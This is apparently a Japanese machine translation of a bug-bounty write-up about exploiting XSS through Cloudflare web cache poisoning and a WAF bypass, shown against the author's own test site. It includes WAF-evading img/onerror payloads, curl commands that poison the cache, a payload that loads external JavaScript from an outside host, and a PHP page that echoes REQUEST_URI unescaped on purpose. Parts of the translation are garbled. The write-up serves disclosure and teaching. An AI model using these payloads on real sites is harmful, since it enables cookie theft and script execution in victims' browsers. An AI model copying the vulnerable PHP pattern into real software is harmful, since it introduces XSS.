Cross-Site Scripting via Web Cache Poisoning and WAF bypass から学ぶ

ソース:

ltsirkov.medium.com

脆弱性:Web Cache Poisoning, WAF, XSS

 

訳:

 

og:urlとは?

og:urlのメタタグは、Open Graphプロトコルの一部で、ウェブページがSNSやその他のプラットフォームで共有されたときに表示されるURLを指定するためのタグで。
これにより、共有されたコンテンツが適切にリンクされ、正しいURLが表示され。
例えば、ページが他の場所にリダイレクトされている場合や、SEOの理由で異なるURLを表示したい場合に便利で。

 

この脆弱性を悪用するには、 Cloudflare WAF をバイパスする必要があり、アプリケーションレベルで実装された文字の追加制限が必要で。

さらに、最も重要な部分は、Cloudflare キャッシュを悪意のあるペイロードで毒できるような方法で利用することで。

この攻撃チェーンの結果、事前に毒された特別に作成された URL を送信することで、他のユーザーを悪用することができて。

注: ターゲットを公開しないように、そのブログ投稿用に作成したテスト環境を使用します。また、必要に応じて脆弱な環境でプレイできるようにし。

技術的な詳細

のドキュメントを読んでいると 特定の機能がどのように機能するかについてhttps://redacted.com 、そこで次の URL を見つけて。

https://xss.2n.wtf/points/1234

ページのソース コードを調べたところ、「 points 」値が正規の「 og:url 」メタ タグ内に反映されていることがわかり。

 

 

og:url — The canonical URL of your object that will be used as its permanent ID in the graph, e.g., “https://www.imdb.com/title/tt0117500/".
<https://ogp.me/#:~:text=og%3Aurl%20%2D%20The%20canonical%20URL,%2Ftitle%2Ftt0117500%2F%22.

 

の反映に加えて 「 og:url 」 、ページが Cloudflare によってキャッシュされていることにも気づき。

 

 

」への反映と 「 og:url キャッシュ メカニズムの整備が完了したので、 ブラウザ経由で二重引用符 を送信して、XSS を実現できるかどうかを確認してみて。

ブラウザーから次のペイロードhttps://xss.2n.wtf/points/1234 」を貼り付けたところ、指定された値がページ上でエコーされて。

 

 

これは、値が URL エンコードされた「 %22 」であるように見えるため、XSS が不可能である可能性があることを示して。

しかし、私はさらに深く掘り下げることに。
インジェクション ポイントが URL パス 内にあることを考慮し、さらに調査することにし。
URL パスは通常、Web サーバーに到達する前にブラウザによってエンコードされ。

それを確認するために、次のテストを実行し。

リクエスト1: [ブラウザ]
https://xss.2n.wtf/points/test"

 

 

リクエスト 2: [バープスイート]
https://xss.2n.wtf/points/test "

リクエスト 2: [BurpSuite][結果]


 

 

で URL エンコードなしで値が反映されたことを明確に示しており スクリーンショットは、「リクエスト 2」 、以前の疑念が裏付けられ。

しかし、この時点で問題が発生し。
文字をエンコードし、他のユーザーを悪用できなくなるため、ペイロードを他のユーザーに送信できず。 「」 ブラウザーがGET リクエストで

キャッシュポイズニング

ここでCloudflareのキャッシュメカニズムが役に立ち。
私ができることは、ペイロードのデコードされたバージョンをキャッシュできるように、Burp Suite を通じてリクエストを送信すること。

したがって、誰かがブラウザを使用していても「 /points/test%22 デコードされたペイロードが表示され 」にアクセスすると、私の Burpsuiteによってキャッシュ汚染された 、他人の悪用が容易に。

このプロセスが機能するのは、最初に Burp Suite を使用して悪意のあるペイロードをキャッシュするためで。

ブラウザーペイロードを URL エンコードし、エンコードされたバージョンをキャッシュするため、ブラウザーを介してペイロードを直接キャッシュすることはできず。

この動作の理由は、 この場合、 Cloudflare が "と %22 を同等に扱うためで。
これは、ワーカーを使用した Cloudflare アカウントの特定の構成でのみ実現できず。 Cloudflareのデフォルトの正規化設定で試してみましたが、うまくいかず。

搾取

この戦略には、Burp Suite または Curl を使用してペイロードを含むリクエストを送信することが含まれて。
その後、Cloudflare がそのペイロードをキャッシュして、対象の被害者に返し。

簡単に言うと、ここで行うことは次のとおりで。

 

 

次に、ブラウザを開いてそれを確認します。

 

応答ヘッダー ブラウザ:

 

 

すでに述べたように、最も重要なステップは、BurpSuite または CURL を介して悪意のあるペイロードをキャッシュすることで。
そうでないと、URL エンコードされたバージョンのペイロードがキャッシュされて。

ブラウザ経由で直接キャッシュしようとする例:


これは、ペイロードが URL エンコードされていることを明確に示し。

次のステップでは、悪意のあるペイロードを構築するために使用した方法を示し。

ウェブアプリケーションファイアウォール

以下に示すペイロードを送信しようとすると、 Web アプリケーション ファイアウォール によって即座にブロックされて。

”><script>アラート(1);</script>

 

バイパスするためにしばらく時間を費やした後 Cloudflare WAF を 、次のペイロードを機能させることに成功し。

 
GET /points/"><img/src=x/onerro=6><img/src="1"/onerror=alert(1);>?test=test HTTP/2

 

 


その後、ブラウザから同じURLにアクセスしたところ、正常に実行され。

 

 

この時点で、XSS 脆弱性の存在を確認し、アラートがトリガーされる可能性があり。 それでも、その潜在的な影響を実証するために、サーバー https:// から外部 JavaScript をロードしたいと思い。

制限された文字を回避する

ここでまた一つハードルに遭遇し。
ペイロード (URL パス内) には、次の文字または要素を含めることはできません。

  1. コロン:
  2. 大文字

これは、WAF バイパス後のある種の追加保護で。
しかし、時間をかけてそれを回避しようとした結果、次のことを達成することができ。

次のスクリーンショットでは、どの文字が削除または変更されたかを確認できます。

 

により、実際のターゲットに外部 JavaScript をロードできませんでした URI スキーマ制約と文字制限 などの機能も使用できませんでした。
base64 エンコード/デコード ペイロードが自動的に小文字に変換されるため、

 

解決

これらの制限を回避するために、ペイロードをランダムな GET パラメーター内に配置し、それをインポート関数に組み込み。

 

https://xss.2n.wtf/points/"><img/src=x/onerro=6><img/src="1"/onerror=import(location.search.split("aa=").pop());>?source=web-linaka&aa=https://xss.hunter

Burp Suiteを使用することで、ペイロードはCloudflareによって正常にキャッシュされ。
次に、ブラウザで次の URL にアクセスしてエクスプロイトをトリガーし。

ペイロードを被害者に送信する

キャッシュ メカニズムを分析した結果、それがリージョンごとに動作していることがわかり。
これは、XSS を他のユーザーに送信したい場合は、事前に異なるリージョンのキャッシュをポイズニングする必要があることを意味し。

概念実証のデモンストレーションとして、 ブルガリアのソフィア に関連付けられたキャッシュをターゲットにし。
これは、キャッシュが汚染されると、このロケール内のさまざまなデバイスペイロードがどのようにトリガーされるかを示し。

簡単な再現手順

  1. CURL コマンドを実行します。
curl -i "https://xss.2n.wtf/points/\"><img/src=x/onerro=6><img/src=\"1\"/onerror=alert(1);>1"

  2. ブラウザを開いてアクセスします。

https://xss.2n.wtf/points/%22%3E%3Cimg/src=x/onerro=6%3E%3Cimg/src=%221%22/onerror=alert(1);%3E1

 

  3. 同じ汚染された場所にいる必要がある被害者に URL を送信します。

 

PoC環境

私の環境では、実際の環境と同様の次のソースがホストされています: https://xss.2n.wtf / — そこで前述の動作を再現できます。

 

<?php header('HTTP/1.0 404 Not Found'); ?>
<html prefix="og: https://ogp.me/ns#">
<head>
<title>PoC Redacted</title>
<meta property="og:title" content="The Rock" />
<meta property="og:type" content="video.movie" />
<meta property="og:url" content="<?php echo $_SERVER['REQUEST_URI']; ?>" />
<meta property="og:image" content="https://ia.media-imdb.com/images/rock.jpg" />
</head>
<body>
PoC <pre>$_SERVER['REQUEST_URI'];</pre>
</body>
</html>

 

したがって、 REQUEST_URI と特定の Cloudflare 構成を使用すると、興味深い結果が得られる可能性があり。

インパク

攻撃者は、キャッシュ ポイズニングを通じてクロスサイト スクリプティング (XSS) ペイロードを挿入し、Web アプリケーション ファイアウォール (WAF) 保護をバイパスする可能性があり。
この方法では、さまざまな方法で悪意のあるペイロードを被害者に配信でき。

このペイロードが被害者に配信されると、攻撃者は Cookie を盗み、被害者のブラウザ上で任意の JavaScript コードを実行できるようになり。

 

ほなほな。